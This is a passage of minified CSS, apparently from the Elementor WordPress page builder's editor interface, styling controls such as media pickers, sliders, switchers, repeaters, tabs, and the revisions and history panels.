rgba(0, 0, 0, 0.2); transition: var(--e-a-transition-hover); } .elementor-control-media__content__remove:hover { background-color: rgba(0, 0, 0, 0.6); } .elementor-control-media.e-media-empty .elementor-control-file-area { display: none; } .elementor-control-media__warnings:empty { display: none; } .elementor-control-media__warnings:not(:empty) { margin-block-start: 10px; } .elementor-control-media__file { display: flex; justify-content: space-between; align-items: center; width: 100%; margin-block-start: 10px; border: var(--e-a-border); } .elementor-control-media__file__content { padding-inline-start: 5px; font-size: 12px; } .elementor-control-media__file__content__label { color: #9DA5AE; } .elementor-control-media__file__content__info { display: flex; align-items: center; font-weight: 500; } .elementor-control-media__file__content__info__icon { margin-inline-end: 5px; } .elementor-control-media__file__controls { display: flex; border-inline-start: var(--e-a-border); } .elementor-control-media__file__controls__upload-button, .elementor-control-media__file__controls__remove { width: 27px; height: 27px; cursor: pointer; align-items: center; } .elementor-control-media__file__controls__upload-button { display: flex; justify-content: center; } .elementor-control-media__file__controls__remove { border-inline-end: var(--e-a-border); } .elementor-control-media:not(.e-media-empty) .elementor-control-media__file__content__label { display: none; } .elementor-control-media.e-media-empty .elementor-control-media__file__content__info { display: none; } .elementor-control-media.e-media-empty .elementor-control-media__file__controls__remove { display: none; } .elementor-control-media .elementor-control-dynamic-switcher { border: none; border-radius: 0; background-color: rgba(0, 0, 0, 0.9); color: var(--e-a-color-white); } .elementor-control-media .elementor-control-dynamic-switcher:hover { background-color: rgba(0, 0, 0, 0.8); color: var(--e-a-color-white); } .elementor-control-media .e-control-image-size { display: flex; flex-direction: column; width: 100%; padding-block-start: 20px; } .elementor-control-media .e-control-image-size .elementor-control-input-wrapper { margin-inline-start: auto; } .elementor-control-type-media.elementor-control-dynamic-value .elementor-control-input-wrapper { border: none; } .elementor-control:not(.elementor-control-type-icons) .elementor-control-media__preview { background-color: var(--e-a-bg-active-bold); } .elementor-control-notice { display: flex; justify-content: flex-start; align-items: flex-start; gap: 8px; padding: 16px; border-radius: 3px; border: 1px solid var(--notice-control-color, var(--e-a-color-txt)); color: var(--e-a-color-txt); font-size: 12px; font-weight: 400; line-height: 1.5; text-align: start; margin-block-start: 10px; } .elementor-control-notice-type-info { --notice-control-color: var(--e-a-color-info); } .elementor-control-notice-type-success { --notice-control-color: var(--e-a-color-success); } .elementor-control-notice-type-warning { --notice-control-color: var(--e-a-color-warning); } .elementor-control-notice-type-danger { --notice-control-color: var(--e-a-color-danger); } .elementor-control-notice-icon { flex-basis: 18px; color: var(--notice-control-color); } .elementor-control-notice-main { display: flex; flex-direction: column; justify-content: flex-start; align-items: flex-start; gap: 6px; flex: 1; } .elementor-control-notice-main-heading { font-weight: 700; font-style: italic; } .elementor-control-notice-main-content { font-style: italic; line-height: 1.5; } .elementor-control-notice-main-actions { display: flex; gap: 10px; padding-block-start: 8px; } .elementor-control-notice-main a { color: inherit; font-weight: 700; cursor: pointer; } .elementor-control-notice-main a:hover, .elementor-control-notice-main a:focus { color: inherit; } .elementor-control-notice-dismiss { -webkit-appearance: none; -moz-appearance: none; appearance: none; background-color: transparent; border: 0; padding: 0; margin: 0; cursor: pointer; } .elementor-control-type-popover_toggle input { display: none; } .elementor-control-type-popover_toggle label { cursor: pointer; } .elementor-control-type-popover_toggle .elementor-control-input-wrapper { display: flex; flex-direction: row-reverse; align-items: center; } .elementor-control-type-popover_toggle .elementor-control-popover-toggle-toggle:checked + .elementor-control-popover-toggle-toggle-label { color: var(--e-a-color-txt-active); background-color: var(--e-a-bg-active-bold); } .elementor-control-type-popover_toggle .elementor-control-popover-toggle-toggle:not(:checked) ~ .elementor-control-popover-toggle-reset-label { display: none; } .elementor-control-type-popover_toggle .elementor-control-popover-toggle-toggle-label { height: 27px; display: inline-flex; align-items: center; justify-content: center; border-radius: var(--e-a-border-radius); border: var(--e-a-border-bold); transition: var(--e-a-transition-hover); } .elementor-control-type-popover_toggle .elementor-control-popover-toggle-toggle-label:hover { background-color: var(--e-a-bg-hover); } .elementor-control-type-popover_toggle .elementor-control-popover-toggle-reset-label { color: var(--e-a-color-txt-muted); margin-inline-end: 5px; } .elementor-control-type-popover_toggle .elementor-control-popover-toggle-reset-label:hover { color: var(--e-a-color-txt); } .elementor-controls-popover.e-controls-popover--typography { padding-block-start: 0; } .e-control-global .elementor-control-popover-toggle-toggle-label { border-start-start-radius: 0; border-start-end-radius: var(--e-a-border-radius); border-end-start-radius: 0; border-end-end-radius: var(--e-a-border-radius); flex-shrink: 0; } .elementor-control-type-repeater .elementor-control:not(.elementor-control-type-tab) { padding-inline-start: 10px; padding-inline-end: 10px; padding-block-end: 10px; } .elementor-control-type-repeater.elementor-repeater-has-minimum-rows .elementor-repeater-tool-remove { display: none; } .elementor-control-type-repeater.elementor-repeater-has-maximum-rows .elementor-repeater-tool-duplicate, .elementor-control-type-repeater.elementor-repeater-has-maximum-rows .elementor-repeater-add { display: none; } .elementor-control-type-repeater .elementor-repeater-fields { margin: 10px 0; } .elementor-control-type-repeater .elementor-repeater-row-controls { border: var(--e-a-border-bold); border-block-start-width: 0; padding-block-start: 15px; } .elementor-control-type-repeater .elementor-repeater-row-controls:not(.editable) { display: none; } .elementor-control-type-repeater .elementor-repeater-row-tools { display: flex; align-items: center; width: 100%; border: 1px solid var(--e-a-border-color-bold); transition: var(--e-a-transition-hover); } .elementor-control-type-repeater .elementor-repeater-row-tools > button { display: flex; align-items: center; justify-content: center; height: 40px; border: none; background-color: transparent; color: currentColor; cursor: pointer; } .elementor-control-type-repeater .elementor-repeater-row-tools > button:hover, .elementor-control-type-repeater .elementor-repeater-row-tools > button:focus { background-color: var(--e-a-bg-hover); } .elementor-control-type-repeater .elementor-repeater-row-tools .elementor-repeater-row-item-title { flex: 1; justify-content: flex-start; padding: 0 10px; font-size: var(--control-title-size); white-space: nowrap; text-overflow: ellipsis; overflow: hidden; } .elementor-control-type-repeater .elementor-repeater-row-tools .elementor-repeater-row-item-title .eicon, .elementor-control-type-repeater .elementor-repeater-row-tools .elementor-repeater-row-item-title i, .elementor-control-type-repeater .elementor-repeater-row-tools .elementor-repeater-row-item-title svg { margin-inline-end: 5px; } .elementor-control-type-repeater .elementor-repeater-row-tools .elementor-repeater-row-item-title img[src$=svg] { width: 1em; } .elementor-control-type-repeater .elementor-repeater-row-tools .elementor-repeater-row-tool { width: 40px; border-inline-start: 1px solid var(--e-a-border-color-bold); } .elementor-control-type-repeater .elementor-repeater-row-tools .elementor-repeater-row-handle-sortable { width: 10px; border-inline-end: 1px solid var(--e-a-border-color-bold); cursor: move; } .elementor-control-type-repeater .elementor-button-wrapper { text-align: center; padding-block-start: 5px; } #elementor-controls { padding-block-start: 15px; } .elementor-control-type-section { padding: 0; } .elementor-control-type-section.e-open { padding-block-end: 10px; } .elementor-control-type-section + .elementor-control:not(.elementor-control-type-section):before { display: none; } .elementor-control-type-section:not(:first-child):not(.elementor-control-type-section + .elementor-control-type-section) { margin-block-start: 25px; } .elementor-control-type-select .elementor-control-input-wrapper { position: relative; } .elementor-control-type-select .elementor-control-input-wrapper select { -webkit-appearance: none; -moz-appearance: none; appearance: none; font-size: var(--control-title-size); font-family: inherit; font-weight: inherit; font-style: inherit; text-transform: inherit; letter-spacing: inherit; line-height: inherit; flex-basis: 100%; padding-inline-start: 5px; padding-inline-end: 20px; cursor: pointer; } .elementor-control-type-select .elementor-control-input-wrapper select.e-select-placeholder { color: var(--e-a-color-txt-disabled); } .elementor-control-type-select .elementor-control-input-wrapper option.e-option-placeholder { display: none; } .elementor-control-type-select .elementor-control-input-wrapper:after { font-family: eicons; content: "\e8ad"; font-size: 12px; position: absolute; top: 50%; transform: translateY(-50%); right: 5px; pointer-events: none; } .elementor-control-type-select .elementor-control-field.elementor-control-field-select-small .elementor-control-input-wrapper { max-width: 80px; } .elementor-shadow-box .elementor-shadow-slider { margin-block-start: 10px; } .elementor-shadow-box .elementor-color-picker-wrapper .elementor-control-title { flex-grow: 1; } .elementor-control-type-slider.elementor-control-dynamic input { border-start-start-radius: var(--e-a-border-radius); border-start-end-radius: 0; border-end-start-radius: var(--e-a-border-radius); border-end-end-radius: 0; } .elementor-control-type-slider .elementor-control-unit-2 { width: 21%; } .elementor-control-type-slider.elementor-control-type-slider--multiple .elementor-control-input-wrapper { display: block; } .elementor-control-type-slider--multiple { padding-block-end: 40px; } .elementor-control-type-slider--multiple .elementor-slider { margin-block-start: 12px; width: 98%; } .elementor-control-type-slider--handles-range .elementor-slider .noUi-handle { border-radius: 0; width: 10px; transform: translateY(calc(50% - 14px)) translateX(4px); } .elementor-control-type-slider--handles-range .elementor-slider .noUi-handle:after { content: ""; position: absolute; top: 2px; height: 12px; width: 11px; transform: rotate(45deg); background-color: var(--e-a-color-white); border-radius: 3px; } .elementor-control-type-slider--handles-range .elementor-slider .noUi-handle-lower:after { left: 5px; box-shadow: 2px -2px 3px 0px rgba(0, 0, 0, 0.1); } .elementor-control-type-slider--handles-range .elementor-slider .noUi-handle-upper:after { right: 5px; box-shadow: -2px 2px 3px 0px rgba(0, 0, 0, 0.1); } .elementor-control-type-slider .elementor-control-dynamic-switcher { border-inline-start-width: 0; border-start-start-radius: 0; border-start-end-radius: var(--e-a-border-radius); border-end-start-radius: 0; border-end-end-radius: var(--e-a-border-radius); } .elementor-control-type-slider .elementor-control-input-wrapper { display: flex; align-items: center; } .elementor-control-type-slider .elementor-dynamic-cover { margin-block-start: 10px; } .elementor-control-type-slider.e-units-custom .elementor-slider { display: none; } .elementor-control-type-slider.e-units-custom .elementor-slider-input { width: 100%; margin: 0; transition: none; } .elementor-slider { flex-grow: 1; height: 4px; background-color: var(--e-a-border-color-bold); border-radius: 5px; position: relative; cursor: pointer; } .elementor-slider-input { width: 21%; min-width: 54px; margin-inline-start: 12px; transition: width 0.3s ease-in-out; } .elementor-slider__extra { position: relative; } .elementor-slider__labels { display: flex; justify-content: space-between; } .elementor-slider__label { font-size: 9px; color: var(--e-a-color-txt-disabled); } .elementor-slider__scales { position: absolute; display: flex; justify-content: space-evenly; width: 100%; margin-block-start: 4px; } .elementor-slider__scale { width: 1px; height: 21px; background-color: var(--e-a-border-color-focus); } .elementor-slider .noUi-handle { height: 16px; width: 16px; background-color: var(--e-a-color-white); right: 0; transform: translateY(calc(50% - 14px)) translateX(8px); position: absolute; box-shadow: 0 1px 5px rgba(0, 0, 0, 0.3); border-radius: 50%; } .elementor-slider .noUi-connects { position: absolute; width: 100%; height: 4px; } .elementor-slider .noUi-connect { position: absolute; z-index: 0; top: 0; left: 0; height: 100%; width: 100%; will-change: transform; transform-origin: 0 0; background-color: var(--e-a-border-color-focus); } .elementor-slider .noUi-tooltip { position: absolute; top: calc(100% + 5px); left: calc(50% - 4px); transform: translateX(-50%); font-size: 10px; } .elementor-control-type-structure .elementor-control-field { display: initial; } .elementor-control-type-structure .elementor-control-structure-preset { padding: 3px; border-radius: var(--e-border-radius); display: inline-block; cursor: pointer; height: 50px; } .elementor-control-type-structure .elementor-control-structure-preset svg { height: 100%; } .elementor-control-type-structure .elementor-control-structure-preset path { fill: var(--e-a-border-color-bold); } .elementor-control-type-structure .elementor-control-structure-reset { padding: 15px 20px 0; font-size: 11px; cursor: pointer; color: var(--e-a-color-txt-muted); border-block-start: var(--e-a-border); margin: 0 -20px; } .elementor-control-type-structure .elementor-control-structure-reset:hover { color: var(--e-a-color-txt); } .elementor-control-type-structure .elementor-control-structure-title { margin: 10px -20px 0; } .elementor-control-type-structure .elementor-control-structure-title:before { height: 10px; box-shadow: inset 0 2px 4px rgba(127, 127, 127, 0.1); } .elementor-control-type-structure .elementor-control-structure-presets { display: flex; flex-wrap: wrap; justify-content: space-between; } .elementor-control-type-structure .elementor-control-structure-presets input { display: none; } .elementor-control-type-structure .elementor-control-structure-presets input:checked + .elementor-control-structure-preset path { fill: var(--e-a-border-color-focus); } .elementor-control-type-structure .elementor-control-structure-preset-wrapper { margin-block-end: 15px; } .elementor-control-type-structure .elementor-control-structure-preset-title { text-align: center; padding-block-start: 5px; font-style: italic; font-size: 11px; color: #9DA5AE; } .elementor-control-type-switcher .elementor-control-input-wrapper { text-align: end; } .elementor-control-type-switcher .elementor-switch { position: relative; display: inline-block; vertical-align: top; height: 20px; background-color: var(--e-a-bg-default); border-radius: 18px; cursor: pointer; } .elementor-control-type-switcher .elementor-switch-input { display: none; } .elementor-control-type-switcher .elementor-switch-label { position: relative; display: block; height: inherit; font-size: 10px; background: var(--e-a-bg-active-bold); border-radius: inherit; transition: 0.15s ease-out; transition-property: opacity, background; } .elementor-control-type-switcher .elementor-switch-label:before, .elementor-control-type-switcher .elementor-switch-label:after { position: absolute; top: 0; width: 50%; text-align: center; line-height: 20px; transition: inherit; } .elementor-control-type-switcher .elementor-switch-label:before { content: attr(data-off); right: 5px; color: var(--e-a-color-txt-muted); } .elementor-control-type-switcher .elementor-switch-label:after { content: attr(data-on); left: 5px; color: var(--e-a-btn-color); opacity: 0; } .elementor-control-type-switcher .elementor-switch-input:checked ~ .elementor-switch-label { background: var(--e-a-btn-bg-primary); } .elementor-control-type-switcher .elementor-switch-input:checked ~ .elementor-switch-label:before { opacity: 0; } .elementor-control-type-switcher .elementor-switch-input:checked ~ .elementor-switch-label:after { opacity: 1; } .elementor-control-type-switcher .elementor-switch-handle { position: absolute; top: 1px; left: 1px; width: 18px; height: 18px; background: white; border-radius: 10px; transition: left 0.15s ease-out; } .elementor-control-type-switcher .elementor-switch-input:checked ~ .elementor-switch-handle { left: initial; right: 1px; } .elementor-control-type-tabs { display: flex; font-size: var(--control-title-size); } .elementor-control-type-tab { text-align: center; width: 100%; padding: 0; line-height: 25px; border-block-start: var(--e-a-border-bold); border-block-end: var(--e-a-border-bold); border-inline-end: var(--e-a-border-bold); transition: var(--e-a-transition-hover); cursor: pointer; } .elementor-control-type-tab:first-child { border-inline-start: var(--e-a-border-bold); border-start-start-radius: var(--e-a-border-radius); border-end-start-radius: var(--e-a-border-radius); } .elementor-control-type-tab:last-child { border-start-end-radius: var(--e-a-border-radius); border-end-end-radius: var(--e-a-border-radius); } .elementor-control-type-tab:hover { background-color: var(--e-a-bg-hover); } .elementor-control-type-tab.e-tab-active { background-color: var(--e-a-bg-active-bold); color: var(--e-a-color-txt-accent); } .e-tab-close { display: none !important; } .elementor-control-type-textarea .elementor-control-dynamic-switcher, .elementor-control-type-code .elementor-control-dynamic-switcher { border-inline-start-width: 1px; border-start-start-radius: 0; border-start-end-radius: 0; border-end-end-radius: 0; border-end-start-radius: var(--e-a-border-radius); } .elementor-control-type-textarea:not(.elementor-control-dynamic-value) .elementor-control-dynamic-switcher, .elementor-control-type-code:not(.elementor-control-dynamic-value) .elementor-control-dynamic-switcher { position: absolute; top: 0; right: 0; z-index: 1; } .elementor-control-type-textarea .elementor-control-input-wrapper, .elementor-control-type-code .elementor-control-input-wrapper { position: relative; } .elementor-control-type-textarea textarea, .elementor-control-type-code textarea { display: block; font-family: inherit; } .elementor-control-type-textarea textarea:focus + .elementor-control-dynamic-switcher, .elementor-control-type-code textarea:focus + .elementor-control-dynamic-switcher { display: none; } .elementor-control-type-textarea pre:focus-within + .elementor-control-dynamic-switcher, .elementor-control-type-code pre:focus-within + .elementor-control-dynamic-switcher { display: none; } .elementor-control-type-url .elementor-control-field { position: relative; } .elementor-control-type-url .elementor-control-input-wrapper { display: flex; } .elementor-control-type-url.elementor-control-dynamic .elementor-control-url-more-options input { border-radius: var(--e-a-border-radius); } .elementor-control-type-url.elementor-control-dynamic-value .e-input-style { border-start-end-radius: 0; border-end-end-radius: 0; } .elementor-control-type-url.elementor-control-dynamic-value .elementor-control-url-more { border-start-end-radius: var(--e-a-border-radius); border-end-end-radius: var(--e-a-border-radius); } .elementor-control-type-url .elementor-control-url-more { display: flex; align-items: center; justify-content: center; flex-shrink: 0; border: var(--e-a-border-bold); color: currentColor; background-color: transparent; border-inline-start-width: 0; cursor: pointer; } .elementor-control-type-url .elementor-control-url-more i { font-size: 12px; } .elementor-control-type-url .elementor-control-url-more-options { display: none; padding-block-start: 10px; } .elementor-control-type-url .elementor-control-url-more-options .elementor-control-field-description { margin-block-start: 10px; } .elementor-control-type-url .elementor-control-url-more:hover { color: var(--e-a-color-txt-hover); } .elementor-control-type-url .elementor-control-url-more:focus { color: var(--e-a-color-txt-active); border-color: var(--e-a-border-color-focus); } .elementor-control-type-url .elementor-control-url-option { display: flex; align-items: center; } .elementor-control-type-url .elementor-control-url-option:not(:last-child) { padding-block-end: 10px; } .elementor-control-type-url .elementor-control-url-option input, .elementor-control-type-url .elementor-control-url-option label { cursor: pointer; } .elementor-control-type-url .elementor-control-url-autocomplete-spinner { display: none; position: absolute; top: 5px; right: 0; width: 10px; height: 10px; font-size: 10px; color: var(--e-a-color-txt-disabled); } .elementor-control-type-url .elementor-control-url__custom-attributes label { font-size: var(--control-title-size); } .elementor-control-type-url .elementor-control-url__custom-attributes input { width: 100%; margin-block-start: 10px; } .elementor-control-type-url .elementor-input:focus ~ div { border-color: var(--e-a-border-color-focus); } .elementor-autocomplete-menu { position: absolute; background: var(--e-a-bg-default); border: var(--e-a-border); margin: 0; list-style: none; padding: 4px 0; height: auto; width: 100%; min-width: 260px; max-width: 300px; max-height: 200px; overflow-y: auto; border-radius: 3px; transition: var(--e-a-transition-hover); cursor: default; z-index: 1; } .elementor-autocomplete-menu .ui-menu-item { display: flex; justify-content: space-between; align-self: baseline; padding: 5px 8px; font-size: 12px; width: 100%; line-height: 1.2; cursor: pointer; } .elementor-autocomplete-menu .ui-menu-item.ui-state-hover, .elementor-autocomplete-menu .ui-menu-item.ui-state-active, .elementor-autocomplete-menu .ui-menu-item.ui-state-focus { background: var(--e-a-bg-hover); } .elementor-autocomplete-menu .elementor-autocomplete-item-info { font-size: 10px; padding-block-start: 2px; } .elementor-control-type-wp_widget .widget-inside { line-height: 2; background-color: inherit; display: block; } .elementor-control-type-wp_widget .quicktags-toolbar input { width: auto; } .elementor-control-type-wysiwyg * { box-sizing: content-box; } .elementor-control-type-wysiwyg .wp-editor-container { border: var(--e-a-border); } .elementor-control-type-wysiwyg .wp-editor-tabs { border: var(--e-a-border-bold); border-block-end: none; border-start-start-radius: var(--e-a-border-radius); border-start-end-radius: var(--e-a-border-radius); border-end-end-radius: 0; border-end-start-radius: 0; } .elementor-control-type-wysiwyg .wp-editor-tabs button:hover { background-color: var(--e-a-bg-hover); } .elementor-control-type-wysiwyg #insert-media-button { height: initial; line-height: 24px; font-size: 10px; color: var(--e-a-color-txt); border-color: var(--e-a-border-color-bold); background-color: var(--e-a-bg-default); min-height: initial; } .elementor-control-type-wysiwyg .ed_button { height: 22px; width: initial; } .elementor-control-type-wysiwyg .wp-media-buttons-icon { height: 14px; margin: 0; } .elementor-control-type-wysiwyg .wp-media-buttons-icon:before { font-size: 14px; } .elementor-control-type-wysiwyg .wp-switch-editor { position: static; border: none; margin: 0; color: var(--e-a-color-txt); font-size: 10px; padding: 3px 9px 4px; } .elementor-control-type-wysiwyg .switch-html { border: solid var(--e-a-border-color-bold); border-width: 0 1px; } .elementor-control-type-wysiwyg .html-active .switch-tmce { background-color: transparent; } .elementor-control-type-wysiwyg .html-active .switch-html { background-color: var(--e-a-bg-active); } .elementor-control-type-wysiwyg .tmce-active .switch-tmce { background-color: var(--e-a-bg-active); } .elementor-control-type-wysiwyg .tmce-active .switch-html { background-color: transparent; } .elementor-control-type-wysiwyg .mce-toolbar-grp, .elementor-control-type-wysiwyg .quicktags-toolbar { background-color: var(--e-a-bg-default); } .elementor-control-type-wysiwyg .mce-toolbar .mce-btn-group .mce-btn.mce-listbox { background-color: var(--e-a-bg-default); } .elementor-control-type-wysiwyg .mce-toolbar .mce-btn-group .mce-btn.mce-listbox button { color: var(--e-a-color-txt); } .elementor-control-type-wysiwyg .mce-toolbar-grp > div { padding: 0 3px; } .elementor-control-type-wysiwyg .elementor-wp-editor { box-sizing: border-box; } .elementor-control-type-wysiwyg .mce-ico { color: var(--e-a-color-txt); font-size: 16px; } .elementor-control-type-wysiwyg .mce-btn-group .mce-btn:hover, .elementor-control-type-wysiwyg .mce-btn-group .mce-btn:active, .elementor-control-type-wysiwyg .mce-btn-group .mce-btn.mce-active { color: var(--e-a-color-txt-active); background: var(--e-a-bg-hover); border-color: var(--e-a-border-color); box-shadow: none; } .elementor-control-type-wysiwyg .mce-btn-group .mce-btn:hover i, .elementor-control-type-wysiwyg .mce-btn-group .mce-btn:active i, .elementor-control-type-wysiwyg .mce-btn-group .mce-btn.mce-active i { color: var(--e-a-color-txt-active); } .elementor-control-type-wysiwyg .mce-path { padding: 5px 10px; } .elementor-control-type-wysiwyg .mce-path-item { font-size: 12px; color: var(--e-a-color-txt); } .elementor-control-type-wysiwyg .mce-top-part:before { box-shadow: none; } .elementor-control-type-wysiwyg .elementor-control-dynamic-switcher { border: none; } @media screen and (prefers-color-scheme: dark) { #wp-link-wrap { color-scheme: light; --e-a-color-txt: #515962; --e-a-bg-default: #ffffff; --e-a-border-color-bold: #D5D8DC; --e-a-color-primary-bold: #D004D4; } #wp-link { color: var(--e-a-color-txt); } #wp-link input { background-color: var(--e-a-bg-default); border-color: var(--e-a-border-color-bold); } #wp-link input[type=checkbox] { border-color: var(--e-a-border-color-bold); } #wp-link input[type=checkbox]:checked { background: var(--e-a-color-primary-bold); } #wp-link input.button-primary { background: #2271b1; border-color: #2271b1; color: #fff; } } #elementor-mode-switcher { --e-a-mode-switcher-width: 15px; --e-a-mode-switcher-height: 50px; --e-a-mode-switcher-icon-size: 15px; position: absolute; left: 100%; top: 50%; transform: translateY(-50%); background-color: var(--e-a-bg-default); box-shadow: 3px 1px 3px rgba(0, 0, 0, 0.05); transition: 0.3s opacity; } #elementor-mode-switcher:hover { background-color: var(--e-a-bg-hover); } #elementor-mode-switcher:focus-within { background-color: var(--e-a-bg-active); } .e-panel-block-interactions #elementor-mode-switcher { opacity: 0; pointer-events: none; } #elementor-mode-switcher-preview i { display: flex; flex-direction: column; justify-content: center; width: var(--e-a-mode-switcher-width); height: var(--e-a-mode-switcher-height); font-size: var(--e-a-mode-switcher-icon-size); cursor: pointer; } #elementor-mode-switcher-preview-input { display: none; } .elementor-revision-item__wrapper { display: flex; align-items: center; text-align: start; width: 100%; border: var(--e-a-border); border-radius: var(--e-a-border-radius); padding: 10px 15px; margin-block-end: 10px; font-size: 11px; transition: var(--e-a-transition-hover); background-color: transparent; } .elementor-revision-item__wrapper:hover, .elementor-revision-item__wrapper:focus { background-color: var(--e-a-bg-hover); } .elementor-revision-item-loading .elementor-revision-item__tools-current { display: none; } .elementor-revision-item:not(.elementor-revision-item-loading) .elementor-revision-item__tools-spinner { display: none; } .elementor-revision-item__gravatar { border-radius: 50%; overflow: hidden; } .elementor-revision-item__gravatar img { display: block; } .elementor-revision-item__details { padding-inline-start: 15px; flex-grow: 1; cursor: pointer; } .elementor-revision-meta { padding-block-start: 5px; font-size: 10px; font-weight: bold; } .elementor-revision-current-preview .elementor-revision-item__wrapper { border-color: var(--e-a-border-color-accent); background-color: var(--e-a-bg-active); } #elementor-panel-revisions-loading { position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%); } #elementor-panel-revisions-loading .eicon-loading { font-size: 50px; } .elementor-panel-revisions-buttons { display: flex; justify-content: space-between; padding: 15px 20px; border-block-end: var(--e-a-border); } .elementor-history-item { display: flex; align-items: center; text-align: start; border: var(--e-a-border); border-radius: var(--e-a-border-radius); padding: 10px 15px; margin-block-end: 10px; width: 100%; font-size: 11px; line-height: 1.4; background-color: transparent; cursor: pointer; transition: var(--e-a-transition-hover); } .elementor-history-item:hover:not(.elementor-history-item-current), .elementor-history-item:focus:not(.elementor-history-item-current) { background-color: var(--e-a-bg-hover); color: var(--e-a-txt-color-hover); } .elementor-history-item:hover:not(.elementor-history-item-current) .elementor-history-item__icon .eicon:before, .elementor-history-item:focus:not(.elementor-history-item-current) .elementor-history-item__icon .eicon:before { content: "\e924"; } .elementor-history-item-current { border-color: var(--e-a-border-color-accent); background-color: var(--e-a-bg-active); color: var(--e-a-txt-color-active); } .elementor-history-item-current .elementor-history-item__icon .eicon:before, .elementor-history-item-current:hover .elementor-history-item__icon .eicon:before, .elementor-history-item-current:focus .elementor-history-item__icon .eicon:before { content: "\e90e"; } .elementor-history-item__details { width: 95%; } .elementor-history-item__title { font-weight: bold; } .elementor-history-item__subtitle, .elementor-history-item__action { font-weight: lighter; } .elementor-history-item__action { font-style: italic; text-decoration: underline; } .elementor-history-revisions-message { font-size: 11px; text-align: center; padding-block-start: 5px; } #elementor-panel-history { padding: 20px; padding-block-end: 15px; } #elementor-panel-history.elementor-empty .elementor-history-revisions-message { padding-block-start: 20px; } #elementor-panel-history:not(.elementor-empty) { margin-block-start: 10px; } #elementor-panel-history-no-items, #elementor-panel-revisions-no-revisions { text-align: center; } #elementor-panel-history-no-items .elementor-nerd-box-icon, #elementor-panel-revisions-no-revisions .elementor-nerd-box-icon { margin-block-start: 20px; } .e-control-display-conditions-promotion__wrapper { display: flex; justify-content: space-between; } .e-control-display-conditions-promotion__wrapper:hover .eicon-lock.e-control-display-conditions-promotion { color: var(--e-a-color-accent); } .e-control-display-conditions-promotion__description { display: flex; align-self: center; } .e-control-display-conditions-promotion__text { display: inline-block; } .e-control-display-conditions-promotion__lock-wrapper { width: 2.5rem; display: flex; justify-content: center; align-items: center; } .e-control-display-conditions-promotion.eicon-flow { align-self: flex-end; cursor: pointer; border: var(--e-a-border-bold); border-radius: var(--e-a-border-radius); padding: 5px; } .e-control-display-conditions-promotion.eicon-flow.filled { background-color: var(--e-a-bg-active); color: #E73CF6; } .e-control-motion-effects-promotion__wrapper:hover .eicon-lock { color: var(--e-a-color-accent); } .e-control-motion-effects-promotion__wrapper .select-promotion { display: flex; flex-direction: column; justify-content: center; padding-inline-start: 5px; padding-inline-end: 20px; cursor: pointer; height: 27px; width: 100%; color: var(--e-a-color-txt); border-radius: var(--e-a-border-radius); background-color: var(--e-a-bg-default); box-shadow: none; border: var(--e-a-border-bold); font-size: var(--control-title-size); } .e-control-motion-effects-promotion__lock-wrapper { width: 2.5rem; display: flex; justify-content: center; align-items: center; } .e-link-promotion { font-family: "Roboto", sans-serif; font-weight: 500; color: #93003f; } .e-link-promotion:hover { color: #93003f; } .elementor-panel #elementor-panel-header #elementor-panel-header-kit-close, .elementor-panel #elementor-panel-header #elementor-panel-header-kit-back { display: none; } .elementor-editor-kit .elementor-panel #elementor-panel-header #elementor-panel-header-kit-close, .elementor-editor-kit .elementor-panel #elementor-panel-header #elementor-panel-header-kit-back { display: flex; } body:not(.e-routes-has-history) #elementor-panel-header-kit-back { pointer-events: none; visibility: hidden; } .elementor-editor-kit .elementor-panel #elementor-panel-page-settings .elementor-panel-navigation { display: none; } .elementor-editor-kit .elementor-panel #elementor-panel-page-menu { padding: 25px 15px 0; } .elementor-editor-kit #elementor-panel-header-add-button, .elementor-editor-kit #elementor-panel-header-menu-button, .elementor-editor-kit #elementor-panel-footer-sub-menu-item-save-template, .elementor-editor-kit #elementor-panel-footer-navigator { display: none; } .elementor-control-type-global-style-repeater .elementor-repeater-fields { margin-block-end: 15px; position: relative; } .elementor-control-type-global-style-repeater .elementor-repeater-fields.ui-sortable-helper { background-color: var(--e-a-bg-default); } .elementor-control-type-global-style-repeater .elementor-repeater-row-controls { display: flex; align-items: center; } .elementor-control-type-global-style-repeater .elementor-repeater-row-tool { cursor: pointer; color: var(--e-a-color-txt); background-color: transparent; border: none; padding: 5px; } .elementor-control-type-global-style-repeater .elementor-repeater-row-tool:focus, .elementor-control-type-global-style-repeater .elementor-repeater-row-tool:hover { color: var(--e-a-color-txt-hover); } .elementor-control-type-global-style-repeater .elementor-control { padding: 0; } .elementor-control-type-global-style-repeater .elementor-control-title { flex-grow: 1; } .elementor-control-type-global-style-repeater .elementor-control-title input { max-width: 135px; } .elementor-control-type-global-style-repeater .elementor-control-title input:not(:focus) { background: none; border: none; } .elementor-control-type-global-style-repeater .elementor-control-input-wrapper { display: flex; align-items: center; min-width: 81px; } .elementor-control-type-global-style-repeater .elementor-control-input-wrapper:hover .e-global-colors__color-value { display: none; } .elementor-control-type-global-style-repeater .elementor-control-input-wrapper:not(:hover) .elementor-repeater-tool-remove, .elementor-control-type-global-style-repeater .elementor-control-input-wrapper:not(:hover) .elementor-repeater-tool-remove--disabled, .elementor-control-type-global-style-repeater .elementor-control-input-wrapper:not(:hover) .elementor-repeater-tool-sort { display: none; } .elementor-control-type-global-style-repeater .elementor-repeater-row-controls > .elementor-control > .elementor-control-content > .elementor-control-field > .elementor-control-input-wrapper { margin-block-start: 0; } .elementor-control-type-global-style-repeater .elementor-controls-popover { align-self: end; margin-block-start: 35px; top: 0; width: 100%; } .elementor-control-type-global-style-repeater .elementor-controls-popover:before { right: 5px; } .elementor-control-type-global-style-repeater .elementor-controls-popover .elementor-control { padding: 0 20px 15px; } .elementor-control-type-global-style-repeater .elementor-controls-popover .elementor-control-title { flex-grow: initial; } .elementor-control-type-global-style-repeater .elementor-button-wrapper { text-align: center; border-block-start: var(--e-a-border); padding-block-start: 15px; } .elementor-control-type-global-style-repeater .pickr, .elementor-control-type-global-style-repeater .elementor-control-popover-toggle-toggle-label { margin-inline-start: 5px; } .elementor-control-type-global-style-repeater .e-sortable-placeholder { background-color: var(--e-a-color-info); opacity: 0.9; width: 100%; margin: 8px 0; height: 2px; } .elementor-control-system_colors, .elementor-control-system_typography { padding-block-end: 0; } .e-global-colors__color-value { font-size: 10px; padding: 0 5px; text-align: end; white-space: nowrap; text-overflow: ellipsis; overflow: hidden; } @keyframes load { 0% { opacity: 0.3; } 50% { opacity: 1; } 100% { opacity: 0.3; } } @keyframes fadeIn { from { opacity: 0; } to { opacity: 1; } } @keyframes mover { 0% { transform: translateY(0); } 100% { 